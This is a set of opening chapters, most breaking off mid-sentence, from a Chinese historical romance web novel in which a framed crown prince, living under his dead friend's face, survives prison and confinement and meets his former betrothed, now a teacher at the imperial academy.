《云中白鹤》 1. 青溪 《云中白鹤》全本免费阅读 天熙七年,梁太子萧景衍身涉禁苑谋逆一案,帝命押往廷尉,羽林郎裴义随行。数日后,江北传来噩耗,萧景衍身死途中,裴义不知所踪。 萧景衍为已故皇后裴氏之子,待人接物,素有贤名,一朝身死,沿途百姓自发为其扶棺,一路行至建康。一时,城内哀恸声声,白丧皑皑。 士子们跪于广阳门外,手捧经史,慷慨泣下。 “太子爱民如子,绝非叛上作乱之人,还望陛下明鉴!” “姜夫人秽乱宫闱,襄阳王狼子野心,陛下不可不除!” 一溪之隔,阮府之中,襄阳王萧景珃正与阮氏家主阮德品茶论道。 “父皇欲设五经博士,垂教寰宇,本王意欲举荐先生为五馆之首,从此天下桃李,尽出先生门下,先生以为如何?” “王爷美意,本不应辞,只是,老夫闲云野鹤,志非高堂,还请王爷另择贤明。” 萧景珃并未立刻答言,侧首吩咐了游刃两句,游刃得令,疾步而出。 “绕树三匝,何枝可依,本王求贤若渴,先生要不要再考虑考虑?”[1] 阮德敛袖而起,长身而拜,“言尽于此,王爷请便。” 萧景珃微一抬手,左右侍卫立即横刀拦住阮德。 “放肆,建康乃是天子居所,岂容你这样的奸佞之徒狂悖乱行!怎么,老夫如若不从,王爷还想杀了阮氏满门吗?” “先生言重了,阮氏高门,世代清流,一向在天下读书人心中享有盛誉,本王岂敢胡来。本王今日得了一卷传世之作,此番阻拦,不过是想邀先生坐下同赏罢了。” “既如此,画作何在?” “先生莫急,本王方才已经吩咐游刃去取了,这会子,应该已经在来的路上了。” 话音未落,游刃手奉卷轴,飞身而至。 阮德探身扫了一眼,面容大骇。 “此,此为何物?” “此画名曰‘青溪’,游刃,你与阮先生讲一讲,这上头画的是什么?” 游刃拱手称是,“天熙七年,太子萧景衍勾结寒门士子,借助丧仪之故,再次行刺陛下,襄阳王拼死护驾,诛杀反贼,三千叛军血染青溪,浮光跃红,宫中画师挥毫泼墨,遂成此卷。” 阮德气得浑身发颤,忿然拂袖,“一派胡言!太子早已身死江北,如何勾结一众士子,更何况太子仁义宽善,即便他还活着,又怎会有此大逆不道之举。这画上丹青已干,分明是旧时之作,而士子请命不过是今早的事情,画师怎么可能未卜先知!这分明是你们蓄意构陷,你们才是始作俑者!我要入宫,求见陛下!” 萧景珃笑意淡漠,“陛下受惊,卧病在榻,如今禁苑之中尽是本王的人,先生若有话说,只管告诉本王,左右,都是一样的。” “你!” “先生此生最看重天下读书人,天下学子,何止三千,先生若是为了一己清誉,至他们的身家性命于不顾,先生又有何颜面去见阮氏先贤?” “襄阳王,你在用学子们的性命来逼迫老夫!” “不是逼迫,而是恭请。” 阮德望着泠泠溪水,冷笑一声,“好一个恭请,襄阳王,明人不说暗话,如今,你已经杀掉了太子,大权在握,指日可待,你何必还来老夫这里自讨没趣?” 萧景珃负手长叹,“本王知道,先生不愿出仕为官,只因中正取士,多以家世为要,而家世之中,尊嫡尊长,寒门庶子报效无门,泯然众人。实不相瞒,本王亦非嫡出,所以本王对他们更是体谅,先生若是愿意出任五经博士,天下学子从此不就多了一个出路吗?” 阮德面色难看,丝毫未见缓和,“襄阳王,你何必说得这样冠冕堂皇,你不过是想用我阮氏清名平息众怒罢了,哼,你别痴心妄想了,老夫即便今日血溅青溪,也绝不会助纣为虐!” “先生当真不再考虑考虑了?” “呸,你赶紧给老夫滚出去!” 萧景珃的眸中浮出淡淡一丝怒气,他垂眸看着绕石而过的溪水,默了半晌。 “可惜了,先生并非孔明之才,本王亦非三顾贤主,游刃,送先生上路吧。” 阮德遽然变容,后退一步,“萧景珃,我乃阮氏家主,你若杀我,便是与整个阮氏为敌!” 游刃举剑的手不由一顿,滞在空中。 萧景珃看也不看,抬手斟茶,仰颈饮尽,“阮氏族中子弟,英才众多,这个家主,换个人来作也未尝不可。” 游刃得了吩咐,寒光一闪,破风之音刮过耳畔,忽闻一人高声拦道。 “且慢!” 凛冽的剑锋在距离阮德脖颈一寸的位置停住,萧景珃淡漠抬眼,瞧见来人,微微一怔。 绿柳如烟,轻纱如云,女子容色清丽,抱琴而来。月竹色的罗衫同漫天苍翠融为一体,春风拂过间色裙摆,当空漾开金子般的浅淡波纹。 “这位小娘子是?” “臣女阮如玉,见过襄阳王。” “阮如玉。”萧景珃抬指敲了两下白瓷建盏,唇角挂着一丝若有若无的笑意,“阮氏嫡女,五岁能文,七岁善琴,才貌双绝,本王今日得见,实乃一件幸事。” “王爷谬赞。” 阮德眉头深锁,“如玉,你来这里做什么,还不快快退下!” “父亲,我有话同襄阳王说。” “胡闹!你一个女孩子知道什么!襄阳王,你要杀要剐,老夫随你,但你若是敢动如玉一根手指头,老夫就是做鬼也不会放过你!” 萧景珃听得不耐烦,扬手一挥,游刃立即押了阮德下去。 “姑娘想说什么?” “王爷以为,臣女学识如何?” “姑娘才名在外,本王亦是感佩。” 阮如玉施施然一礼,“既如此,臣女毛遂自荐,自请出任太学博士,还望王爷首肯。” 萧景珃一愣,“你要入朝为官?” “是。” “我朝从未有过女子入学为师的先例,你一介女流,如何服众?” “王爷若愿意给臣女一次机会,臣女自有办法。” “可是,本王凭什么要给你这个机会呢?” “太子甚得民心,一朝身死,天下百姓为其扶棺者何其之多。即便王爷以谋逆之罪盖棺定论,可王爷管得了史书工笔,堵得了悠悠众口吗,王爷杀了为太子请命的三千学子,以儆效尤,可是王爷自己也知道,此事若是传扬出去,必会污了陛下清听。” “继续说。” “阮氏一族书香清名,世代不涉朝政,若是王爷能推举阮氏入朝,必得一大助力,名声上亦可挽回一二。” “可惜呀,你父亲不愿意。” “父亲不愿,臣女愿意。” “我大梁虽无旧例可循,但观其余诸国,五经博士向来皆为男子出任,姑娘虽有才名,终为女流之辈。” “既然五经使不得,那么六经总该可以了吧。” “六经?姑娘是说《诗》 2. 南狱 《云中白鹤》全本免费阅读 建康狱。 “裴义”被萧景珃派去的人马抓回建康,缚于地牢之内。 各式各样的刑具在他的身上过了一遍,大大小小的伤口,犹如刀刻斧凿,血红一片。 萧景衍不是裴义,他生在皇室,长在宫闱,拿刀是为纂刻,举剑是为修身,他一路颠沛流离,身子已然不济,如此这般重刑招呼,几乎要丧命于此,可他不能表露分毫。 否则,裴义就白死了。 裴义是年少成名的羽林郎,他的身子骨绝不会这么弱。 所以,萧景衍必须装作毫不在乎的样子,甚至要学着裴义的脾气,出言挑衅。 他抿了抿干涩的唇,强撑着扯出一抹不屑,“怎么,没吃饭吗,就这点力气?” 审问的人用缒石死死缠住他的脖颈,他听见狰狞的笑喷入耳中,“裴义,我最后再问你一遍,太子在前往廷尉途中畏罪自裁,你说,是不是这样!” 萧景衍勉力抬眼,目光所及,皆是猩红。 在他的梦中,裴义死时,也是这般景象。 沉重的绳索勒着脖颈,他的意识逐渐涣散,眼前似有风声猎猎,裹挟着裴义嘶哑的吼声。 “随之,活下去!” 萧景衍颤动着唇,念了一声,“行止——” 审问的人加重了手上力道,“老子在问你话!” 萧景衍大声咳了起来。 审问的人眼神阴骘,“裴大人,看清楚了,这儿是南狱!大梁开国以来,还没有人能从南狱活着出去,听我一句劝,早说早投胎。” 萧景衍重重喘了一口气,他费力地睁开眼睛,从血汗模糊的缝里打量着审问的人。 审问的人宽衣大袖,浑身上下很是白净,只有手上沾染了些许血污。 萧景衍盯着他,一字一顿,“你不是南狱的人。” 审问的人愣了愣。 “你是谁的人?” 审问的人扬手便扇,“好你个裴义,居然审起我来了!你说不说?你说不说!” 脸颊上传来火辣辣的疼,萧景衍原以为,换了脸皮,脸就不会痛了。 如今他才知道,有些痛是镂刻在心底的。 他的胸中腾起怒火,“放肆!松手!” 审问的人不怒反笑,把脸凑了上去,“你说什么?再说一遍?放肆?哈哈哈哈——” 笑声戛然而止,取而代之的是凄惨的嚎叫,“啊!我的耳朵!” 萧景衍偏头啐了一口血沫,眸底厉色幽深。 别人可以随意打他骂他,他不在乎,可是唯独这张脸,谁都不能碰。 因为,这张脸是裴义的。 审问的人被愤怒冲昏了头脑,他不管不顾地拽着缒石,试图勒死萧景衍。 萧景衍呼吸困难,濒死之际,他听见疾促的脚步声涌了上来。 尖利的声音响在耳畔,“住手!周寺人有话问他!” 萧景衍脑袋昏沉,陷入昏迷。 他看见尸山血海之中,裴义迎着月光,大步向他走来。 萧景衍知道,那些刺客要杀的人是自己,裴义武功高强,本来可以逃脱的,可他没有,他回来了,他以一己之力,杀尽刺客,从死人堆里扒出了奄奄一息的萧景衍。 裴义背着萧景衍,找到了一个善用巫蛊之术的岭南医者。 医者本为牂柯旧人,因为故土被大梁铁骑侵占吞并,所以不得不背井离乡,流落江北。他听闻萧裴二人是朝廷追杀之人,所以愿意出手相救。 裴义捧着药碗,咧嘴一笑,“随之,喝完睡上一觉,你的病就好了。” 萧景衍没有犹豫,抬手接过,仰头饮尽。 这是一碗迷药,萧景衍整整睡了七日。 等萧景衍醒来时,裴义已经不见了。 医者举起铜镜,萧景衍错愕地盯着镜中那张酷似裴义的脸。 那一瞬间,他明白裴义要做什么了。 活要见人,死要见尸。 裴义这是要替他去死。 他推开试图阻拦自己的医者,不顾重伤在身,跨马加鞭,星夜兼程,奔回事发之地。 血迹已然干涸,尸身已然不在。 萧景衍从过路的行人口中得知,大梁太子死了,而随行押解的羽林郎失踪了。 巨大的悲恸袭来,萧景衍淹没在沉重的噩梦之中,喃喃呓语,“行止!行止!” 周寺人皱了皱眉,“他叨咕什么呢?” 审问裴义的人名叫季青,他弓着腰,亲切地唤了一声,“干爹,裴义表字行止,他应该是在叫自己的名字。” “奇怪,他叫自己的名字做什么?”周寺人俯身端详着萧景衍苍白的面容,不由得掩袖退了一步。 季青极有脸色,他扶着周寺人坐回绳床,赶着用浸了香料的麈尾扇了又扇。 “狱中气味难闻,周寺人千万别怪罪。” 周寺人说了两句“不怪罪”,可是神色却没有一点缓和,“季司直,论理这事儿不该我多嘴,只是,他们虽然犯了死罪,总也得活得体面些,这样的腌臜气味,若是让太后撞见了,岂不是要把她熏坏了。” “是是是,干爹说的是。” 季青是廷尉狱司直,官拜四品,而周寺人不过一介内宦,季青喊他干爹,看的是贾太后的面子。 大梁分设南北二狱,北狱名曰廷尉狱,南狱名曰建康狱。 季青昨日才从北狱调入南狱,连官服都没来得及换,接到旨意,就赶紧来审人犯了。 说是审案,可连季青自己都不知道,自己到底要审出个什么来。上头的人就一个吩咐,让裴义在狱中熬足了日子,合乎情理地死去。 这吩咐看着简单,可要办好,却不容易。 怎么死? 什么时候死? 死的时候有几个人在场? 季青还没琢磨出裴义合乎情理的死法,太后娘娘宫中的周寺人就到了。 季青初入建康,并不了解建康官场的势力网络。 不过,他知道,贾太后绝对是他得罪不起的人。 论起来,她应该是上头的上头的人。 而她似乎并不想让裴义立刻死掉。 季青眼珠一转,弯腰奉了盏茶,“干爹润润嗓子。” 周寺人只抿了一口,随手就搁下了,他抬手指指裴义,“他不是死了吧?” 季青赶紧摆手,“没有没有,他受不住刑,昏死过去了,干爹您瞧,他鼻子里头还冒着气儿呢,要不,我用冰水把他泼醒?” “别介,不急。” “干爹。” “嗯?” “太后娘娘是要召见裴义吗?” “还不好说。” 在宫里伺候的人脑袋都挂在裤带上,嘴紧得很,说起话来,滴水不漏。 季青正费心琢磨着“还不好说”这四个字的含义,就见那边的人犯翻了个身,醒了。 其实萧景衍早就醒了,他一直装作昏睡的模样,是想听听周寺人的口风。 如今看来,他赌对了。< 3. 长卿 《云中白鹤》全本免费阅读 天熙十年。 山麓披雪,银桦牵丝,一入冬,涅盘寺的亭台楼阁就镀上了怀白纡红的耀目光茫,白日瞧着如同画卷一般,可待夜色倾落,冷气便呼啸着,涌进了不为人知的狼狈角落。 萧景衍冻得打颤,他没有入冬的被子,浑身上下只裹了一条漏着棉絮的薄衾。风嘶雪嚎,他背朝蓬窗坐着,伸出两只已经冻僵的手,试图护住怀中微弱的豆大烛火。 今夜的风很大,他要提神守住这点微不足道的光亮,挨过寒冬,撑到天明。 这是萧景衍在涅盘寺的第三个冬天。 稀薄的月光洒入屋内,映在他棱角分明的颊侧,比起从前,他瘦了很多,也憔悴了很多。 涅盘寺是建康大寺,车水马龙,络绎不绝,每日香火供奉算是上上之数,可这一切都与萧景衍无关。他是代罪之身,襄阳王咬定太子谋反,又搜罗出一干人证物证,由不得人不信。 太子生母出自裴氏,所以梁帝便要“裴义”代之受过,他从建康狱被押往涅盘寺的那日,季青悄声同萧景衍说,他能活下来,全仗贾太后身边的周寺人求情。 大梁氏族众多,而在建康,唯有贾、杜、韩、裴、阮、文六家称得上高门二字。此六家绵延至今,任凭朝代更迭,始终屹立不倒。大梁建国时日尚短,氏族气盛,皇室势微,即便是当今圣上也要给他们几分薄面。 贾太后便是位列六家之首的贾氏女,满朝文武,约有三分之一都同贾氏有着千丝万缕的联系,或为贾氏族人,或是姻亲之谊,或记半师之分,或有提携之恩。 萧景衍其实不明白,贾太后为何要救“裴义”,在他的记忆中,裴义同贾太后连面儿都没有见过几次,裴氏一族与贾氏一族更是并无交情。 季青说,是周寺人救的他。 这话,若是裴义听了或许会信,可萧景衍从小长在宫里,他是亲眼看着贾太后如何一步一步插手朝政,如何一步一步网罗朝臣,又是如何一步一步让原本势力稍弱的贾家成为六大氏族之首的。这样的女人,怎么会如外界传言一般,因为一个容貌上乘的面首就改了主意? 萧景衍不信季青的话。 他想,贾太后救他,一定还有别的打算。 贾太后…… 一晃神的功夫,怀里的烛火熄了。 萧景衍颤抖着手,将指尖摁在刚刚熄灭的烛芯上。 带着一丝余温的烛芯,立时在他皲裂的手上烧出刺骨的严寒。 萧景衍太冷了,以至于一切有温度的事物碰在他的身上,只会让他觉得更冷。 贾太后救了萧景衍的命,却并没有打算让他在涅盘寺过得舒坦安稳,他每一次忍饥挨饿,险口夺生,都是贾太后在提醒他,你的命,是我的。 萧景衍靠着冰冷的石壁,眼皮不自觉沉了沉,半睡半醒之间,他梦见了阮如玉。 那是他们之间的初见。 白雪红梅,流光溢彩,少女提着裙摆拾阶而下,她手中捧着一大簇刚刚折下的美人面,郁郁芬芬的花朵挡住了她的视线,她一不小心,撞在一人怀里。 男子伸手扶住她的小臂,声音温润,恍若璞玉,“雪滑,当心。” 少女闻言,半是抱歉半是好奇地仰头打量着眼前男子。 男子月眼星眸,鬓若刀裁,唇若点漆,飘逸的裘衣曳在疏朗的空气之中,玲玲碎雪落在他的肩头,少女痴痴地望着他,有那么一瞬间,她觉得他仿佛是从光里走出来的神祗,偶一飞鸿,形迹人间。 男子笑了笑,扶着她站稳,旋即松开手。 少女面有羞赧,垂眸瞧见他腰间悬着的麒麟玉佩,猜出他是皇室中人,慌忙屈膝行礼,“臣女阮氏,见过——” 她只知道他应该是皇室子弟,可到底是谁,她却犯了难,襄阳王萧景珃,巴东王萧景欢,安南王萧景远,海宁王萧景固,还是—— 男子笑容温和,“原来是你。” 那时,萧景衍的母亲裴氏尚在人世,裴家与阮家有些故交,因为萧阮二人的婚约,逢年过节,两家总会有些来往。 萧景衍和阮如玉一起读书,一起烹茶,一起下棋,一起赏画,入了冬,萧景衍还会带着阮如玉去摘开在最高处的梅花,她若是够不着,他就抬臂抱她。 他们有着共同的志向,共同的追求,萧景衍希望能够打破氏族垄断的局面,给天下寒门士子一个出路,而阮如玉同样希望,即便是出身穷苦人家的女儿也有机会读书识字。 志趣相投,莫过于此。 笑靥如花,恍如昨日。 心动之人便是眼前之人,他们都觉得自己是这世间最幸运的人。 可惜好景不长,皇后暴毙,太子失势。 萧景衍此前多番推举寒门士子入朝为官,早已触怒了世家大族的利益,除了母族裴家,妻族阮家,满朝文武对他皆是口诛笔伐。裴家最盛之时,便是出了一位皇后,而今皇后已死,裴家势力渐次衰弱。而阮家素以清流自居,三代以来,不问朝政,空有贤名,却无实权。 正所谓三人成虎,即便萧景衍并无过错,可梁帝对他还是渐渐不喜,那时候,除了时常入宫看望的阮如玉,经常找他喝酒聊天的便只有襄阳王萧景珃了。萧景衍才智敏捷,心底却十分良善,萧景珃的蓄意接近并未引起他的警惕。直到那日,梁帝派去的人在萧景衍的枕下搜出了巫蛊之物,而扎满了针的小人儿上写着的正是梁帝的生辰八字。 铁证如山,萧景衍犯下的是弑君弑父之罪。梁帝念及父子之情,还有已故裴皇后的临终嘱托,免了萧景衍一死,命羽林郎裴义将其押往廷尉。 临行前,萧景珃用黑纱遮住脸容,只身来狱中见了他一面。 仇人相见,分外眼红,萧景衍扯住萧景珃的衣领,一遍遍地问,“你为什么害我?难道我们喝过的酒,说过的话,都是假的吗?为什么!” 萧景珃面对萧景衍的声嘶力竭,神色始终淡漠,他只说了四个字,“怀璧其罪。” 再后来,裴义死了…… 那些刺客是谁派来的?萧景珃吗?可如果是他想要杀自己,他那天孤身一人来见自己,根本没人知道,他完全可以那个时候动手。萧景珃固然得宠,可他的势力只在建康一隅,他为什么要等自己出了建康,再派人行刺呢,随行护卫的裴义武功高强,萧景珃并无十足胜算。 还是说,想要杀死自己的另有其人? 会是谁呢…… “咚”的一声,萧景衍的头磕在墙上,他睁开眼,瞧见金灿灿的日光洒落窗扉,他朝着光照进来的地方费力挪了挪僵硬的身子。 屋外忽然响起了一阵疾促有力的脚步声,萧景衍心中一惊,可很快,他又释然了。 贾太后既然想要他的这条命,就绝不会让他这么轻易地死去。 他抬手理了理乱发。 没什么好怕的。 门开了。 来人居然是襄阳王,萧景珃。 萧景珃从前见过裴义,可如今,他眼前的这个男子虽然形容并未大改,眉眼间却似换了一个人。不过,萧景珃没有多想,毕竟已经过去三年了,裴义容颜有些改变也很正常。 萧景珃淡淡地扫视着他,“裴义?” 萧景衍神色冷冽,抿唇不语。 萧景珃看着他咬牙切齿的模 4. 太后 《云中白鹤》全本免费阅读 晴空初霁,萧景衍幽深的眼眸中雾色澜澜,恍若霜雪,他咳了一声,偏头避开她的目光,抬袖掩唇,声音十分虚弱,“常,常听人说,姑娘性情坚毅,今日一见,果然名不虚传。” 阮如玉望着萧景衍孱弱狼狈的模样,心一点点沉了下去。 是她糊涂了。 他怎么可能是随之呢。 她的随之瑰意琦行,抱负不凡,是建康城内的鲜衣怒马少年郎,是大梁人人称颂的太子殿下,是天下少有的超然远跖之才。 随之若还活着,绝不会像他一样苟且偷生,落到如今这般境地。 他不是随之。 阮如玉神色黯淡,只字未回,扶门而去。 她的身影掩映在苍莽雪色之中,萧景衍心痛如绞,不自觉追出门去,奈何他气力不济,才走了两步就滑跪在地,刺骨的寒意侵入肌肤,连带着他的眼角猩红一片。 他双唇微动,喃喃低语,破碎的字迎风散落,没入雪里,“长卿,千万别做傻事——” 萧景衍知道,依着阮如玉的性子,不管多难的事,她只要说了,就一定会想办法做到,哪怕搭上自己的性命也在所不惜。 世家相争,波澜诡谲,她一个弱女子内无夫君依仗,外无皇族庇佑,仅凭阮氏清名如何护得了她?他是想要报仇,可他不想连累她,他必须出去阻止她。 太后将他关在涅槃寺关了整整三年,始终没有放他出去的意思,想也是,太后手下棋子众多,他一个代罪之身,用与不用,皆在太后一念之间罢了,事到如今,他只能靠自己了。 萧景衍牵动嘴角,扯出一抹古怪的笑,他抬手撕开单薄的旧衣,破絮飞散,同漫天白芒融为一体,他赤着上身,仰面躺倒在雪里。 粗粒如仞,穿心而过。 在失去意识前,他咬着牙,一遍遍对自己说,“萧景衍,活下去,你一定要活下去!” 这一觉,他睡了很久,梦里的一切都是那么美好。 在梦中,他看见了他阔别已久的母亲——裴皇后。 裴皇后神色温和亲切,笑着冲他招手,念着,“衍儿,过来。” 母亲! 他心中狂喜,正要飞奔过去,却突然听见泠泠琴声,纤纤入耳。 他回过头去,只见梅花朵朵,翻飞扬落,阮如玉一袭红衣,手拂绿绮,端坐于梅树之下。 他的脚步顿了顿,长卿—— 再一侧首,瞧见那边的两个人正在练剑。 只一翻腕的工夫,少年裴义就打落了少年萧景衍手中的剑,少年裴义仰脸一笑,“随之,你这剑术,我实在是不敢恭维,你好歹也是当朝太子,武艺如此逊色岂不危险?” 少年萧景衍满不在乎地将剑扔给随行护卫,掏出帕子拭手,“有他们在,怕什么?” 少年裴义瞧了护卫一眼,摇了摇头,“随之,靠别人是靠不住的。” 少年萧景衍若有所思,“那你呢?” “我们是兄弟啊,我当然靠得住。” “那不就得了?” 说着,少年萧景衍咧嘴一笑,裴义一愣,随即也笑了起来。 萧景衍望着梦中的裴义,只觉得一切恍如隔世。 琴声依稀,笑声激荡,另一边的裴皇后还在唤他,“衍儿,过来呀,母后在这儿。” 萧景衍向裴皇后施了一礼,“母后,儿臣还有事要做,儿臣告退。” 一刹那,所有的人与物都消失不见,他环顾四下,天地一白,唯余自己一人。 大汗淋漓,萧景衍猛然睁开眼睛,小内监“诶呀”一声,跌跌撞撞地就往外跑,一面跑一面嚷,“干爹,醒了,他醒了!” “糊涂东西,乱叫什么,这会子太后娘娘还睡着呢。” 萧景衍强忍不适,撑身打量着屋中陈设,只见周遭景象华贵富丽,自己俨然已在宫中。 果然,他赌赢了。 太后接他出了涅槃寺,他这颗棋子,终于要派上用场了。 绿沉漆屏风刻彩镂金,其上雕花曜紫舒绿,细碎的脚步声悉悉索索,周寺人绕过屏风,走到萧景衍跟前,垂眸打量着他。 “你命还真大,太医说你高烧不退,新伤旧伤叠发,必定是活不成了,太后娘娘仁心,说再看看,若是过了今晚你还没醒,再把你拉出去埋了也不迟。” “我躺了几天?” “九天。” 萧景衍笑了笑,难怪刚才那个小内宦吓成那样,原来是把自己当成鬼了。 “你们两个还不赶紧着。” 周寺人一抬下巴,小内宦连忙上前伺候萧景衍穿衣。 从涅槃寺穿出来的那件旧衣早已不知所踪,柔顺舒服的绮罗拂过每一寸肌肤,恍惚间,萧景衍仿佛又回到了从前做皇太子的时候。 周寺人抄着手,站在屏风外头等他,待他出来时,周寺人不由得愣了一下。 “你,你——” 白觳飘逸,金灿灿的日光跌入他深邃漆黑的眼眸,即便他被关了三年,即便他再回建康,已经换了一张脸,换了一个身份,可他没有办法完全抹掉太子的痕迹,举手投足,一行一止,这些都是日积月累,浸染而成,决非一朝一夕可以养成,亦非一朝一夕可以遗忘。 小内宦不明所以,“干爹,怎么了?” 周寺人咽了口唾沫,真是见了鬼了,才刚“裴义”出来的一瞬间,他居然从他身上看到了太子殿下的影子,这怎么可能呢。 周寺人摆摆手,招呼萧景衍,“随我来。” 萧景衍跟着周寺人一路行至太后寝宫,青釉捧莲薰炉散着淡淡渺渺的香气,萧景衍不觉皱眉,这香,有问题。 两个衣衫不整的男子曳袍而出,同他们擦肩而过。 “这是?” 周寺人干咳两声,“太后娘娘召见朝中大臣询问一些事宜。” 大臣? 这就是她的御下之法吗? 萧景衍微一挑眉,不再说话。 侍女挑开珠帘,周寺人赶着上前行礼,“太后娘娘,人已带到,这就是羽林郎裴义了。” 萧景衍垂首道,“罪臣裴义,见过太后娘娘。” 一个软媚细长的声音悠然而至,“抬起头来。” 他抬起头,只见女子碧罗飞衣,绛紫裥裙,大红帔帛倾曳及地,金琼步摇玲玲作响。 此女,正是名扬坊间的贾氏美人,大梁太后。 贾太后是贾公之女,在家时,她也算是在蜜罐里长大的孩子,可是先帝一朝病重,贾公利欲熏心,竟将她送入了后宫。 那时,先帝已是垂暮之年,而她不过二八芳龄,老夫少妻,若在民间,定是惨案一桩,若在宫闱,倒也不失为一个还算划算的交易。 英雄难过美人关,即便是一代帝王,也难以抵挡美色的 5. 红梅 《云中白鹤》全本免费阅读 太学。 门上守卫抽出宝剑,冷声喝问,“什么人?” 萧景衍掏出从季青那里顺来的腰牌,亮给他看,“廷尉狱司直季青,奉旨寻人问话。” “原来是季大人。”守卫收了剑,换上一副笑脸,“季大人怎么遮个面呀,小人眼拙,差点没认出来。” 萧景衍把面纱往上拽了拽,故意哑着嗓子说道,“前些日子害了风寒,闻不得冷气,用这东西挡上一挡。” 守卫笑得很是亲络,拉起他就往里走,“学子们正在乐馆习琴,学里有滚茶滚水,大人略坐一坐,也好暖暖身子。” “有劳。” 萧景衍跟着守卫步入乐苑,琴声如水,流泻而过,他不觉站住脚,侧耳细听。 这曲子好生熟悉。 “谁在弹琴?” “还能有谁,自然是馆中的那位女先生了。” “女先生?”萧景衍微微蹙眉,不解道,“我才听你说什么乐馆,我记得太学一共只有五馆,分授《诗》、《书》、《礼》、《易》、《春秋》五经,并没有你所说的什么乐馆。” 守卫有些惊讶,“这可是建康城内的一大新闻,怎么,大人竟然不知道吗?” 萧景衍才从涅槃寺出来,自然不知道外面在这三年间发生了什么,此刻见问,只得胡乱遮掩道,“南狱事务繁忙,我没留意这些。” “这样啊,也对,大人身居要职,前途不可限量,自然没工夫听这些闲话。”守卫嘿嘿一笑,往他身边挪了一步,“大人有所不知,三年前,阮家姑娘进了太学,担任乐师一职,这才有了如今的这个乐馆。” “乐馆?”萧景衍敛眉思忖,“这是皇上的意思?” “是襄阳王去向皇上请的旨,姜夫人也帮着说了好些好话。” “萧景珃?” 守卫神色惊慌,小心瞥了眼四周,“大人怎可直呼襄阳王名讳,万幸襄阳王今日不在,不然万一被他听见了,大人岂不是要白白丢了性命。” 萧景衍脸上丝毫没有慌乱之色,“襄阳王为什么要帮阮家姑娘呢?” 守卫别有意味地笑了笑,“窈窕淑女,君子好逑嘛,大人你怎么连这也不懂?”[1] 萧景衍怔了怔,原本平静无波的眼底蓦地腾起一股怒气,“胡说!” 守卫忙为自己辩白,“这可不是小人胡说,此处原本是放置一些废弃之物的地方,平素都没什么人过来,荒凉得很,却被指给了阮姑娘做乐馆。阮姑娘再怎么坚韧能干,终究只是一个弱女子,仅凭自己如何张罗,许多她不便出面的事宜,都是襄阳王帮忙料理的。” 守卫抬手指着满苑红梅,“喏,大人你瞧,襄阳王说阮家姑娘喜欢红梅,便兴师动众地叫人移植了许多美人面过来,说是为这乐馆增些喜气,大家都说,这哪里是为乐馆增喜气,分明就是襄阳王为自己增喜气嘛,哈哈哈哈——” 守卫笑了一时,瞥见萧景衍的神情晦暗不明,连忙止住了笑,有些胆怯地说,“大人你怎么不笑啊,是不是小人说错话了。” 萧景衍定定地凝视着苑中盛放的红梅,暗香疏影,美人玉面,他透过漫天飞雪,忆起了她从前对自己说的话—— “随之,你知道我为什么喜欢红梅吗?” “因为梅花不畏严寒,迎风傲雪?” “是,但不全是。” 萧景衍努力在脑海中搜索所有赞誉梅花气节的诗文,可无论他说什么,她都说不对,末了,他只得说道,“实在是想不出来了,长卿可否提示一二?” 阮如玉伸出手指,轻轻戳了戳他的脑门,笑道,“笨蛋随之,梅花是你我二人的媒人呀,我怎么能不喜欢呢,你猜错了我的心意,我要罚你。” 萧景衍笑着点头,一脸宠溺,“好,我认罚,长卿只管说就是了。” “嗯,让我想想罚你什么好呢?”阮如玉想了半日,抚掌而笑,“有了,眼下梅花正好,我就罚你作一首《红梅赋》,等你做好了,我填上乐曲,弹给你听,如何?” “长卿所命,不胜欢喜。” 往事如烟,跃上心头,萧景衍不由得湿了眼眶。 此刻,馆中传来的悠扬乐声,正是当日他作与她的《红梅赋》。 时隔三年,物是人非,他怎能不痛,怎能不悲。 “大人这是怎么了?” “没什么,风大,迷了眼睛。” “诶呀,大人快进屋里歇歇罢,本来就染了风寒,万一再让风给吹着了,可如何得了。” “无妨,你去忙你的吧。” 守卫还要再劝,萧景衍摆了摆手,示意他退下,守卫无法,只得转身离开了。 萧景衍立在雪中,身形分外单薄,花枝斜逸,宛如相思红豆,点点滴滴,尽是离人泪。 一曲毕,学子们鱼贯而出,他逆着人流,拾阶而上。 馆内薰笼焚着青木香,幽香袅娜,温润舒然,阮如玉凭几而坐,身侧是一个极瘦极小的女孩,女孩小心翼翼地伸出手指,指尖轻轻碰在琴弦上,却又立刻撤回了手。 阮如玉柔声笑问,“怎么了?” 女孩不好意思地低下头,“先生,我怕把琴弄坏,阿翁说,学馆里的东西都金贵得很,若是碰坏了,就是把我卖了也赔不起。” 阮如玉眸色一动,她牵着女孩的手,稳稳落在琴弦之上,“别怕,我把这张琴送给你。” 女孩的脸上露出惊喜的神情,“真的吗?” 阮如玉笑着应道,“当然是真的,回去好好练,别辜负了它。” 女孩喜极而泣,用力点头,“嗯!我一定不辜负先生的教诲!” 阮如玉目送女孩离开,余光扫见立在门外的“裴义”,笑意不由一滞。 她披上鹤氅,敛衣而起,看也不看萧景衍一眼。 萧景衍抬手撑住门扉,挡住了她的去路,“姑娘就这么讨厌我吗?” 阮如玉面有不虞,沉声呵斥,“让开!” 萧景衍松开手,“姑娘可否容我说几句话?” 阮如玉抬眼打量着他,不知为何,她原本是想骂他的,可瞧见他眼眸深处的哀伤与祈求,她又不忍心了,“说吧。” 见她答应了,萧景衍反而不着急了,他了解她的性子,只要是她应了的事儿,就绝不会变卦。 他迈入乐馆,坐到她刚刚坐的位置上,不紧不慢地抬手斟了杯茶。 “你倒是说呀,再不说我可走了。” “急什么,雪中烹茶,佳人共话,岂不是一桩美事?” 阮如玉真有点生气了,她抬步欲走,忽听他的声音从身后传来,“姑娘为了这个乐馆,不惜搭上自己的清名,由着别人信口议论你和萧景珃之间的关系,这一切,真的值得吗?” 阮如玉闻言,心中忽而一动,她盯着他的眼睛,一字一顿,“你怎知,我和襄阳王之间的事不是真的?裴义,我们很熟吗?” 萧景衍垂下眼眸,他在外头站了太久,睫毛末梢已然挂上一帘晶莹细密的雪珠,衬得他的脸色愈加苍白,“不熟。” 他默了半晌,复又抬起头来,“但我了解随之,所以我相信,他看中的女子绝不会如此 6. 言老 《云中白鹤》全本免费阅读 太学依山而建,二人要寻的人便住在半山腰。 雪天路滑,泥泞难行,阮如玉身上穿着鹤氅,暖和是暖和,可是行动起来,属实不便,她一不小心,就被树杈勾住了衣袖,抬手间,险些跌倒,幸而萧景衍一把揽住了她。 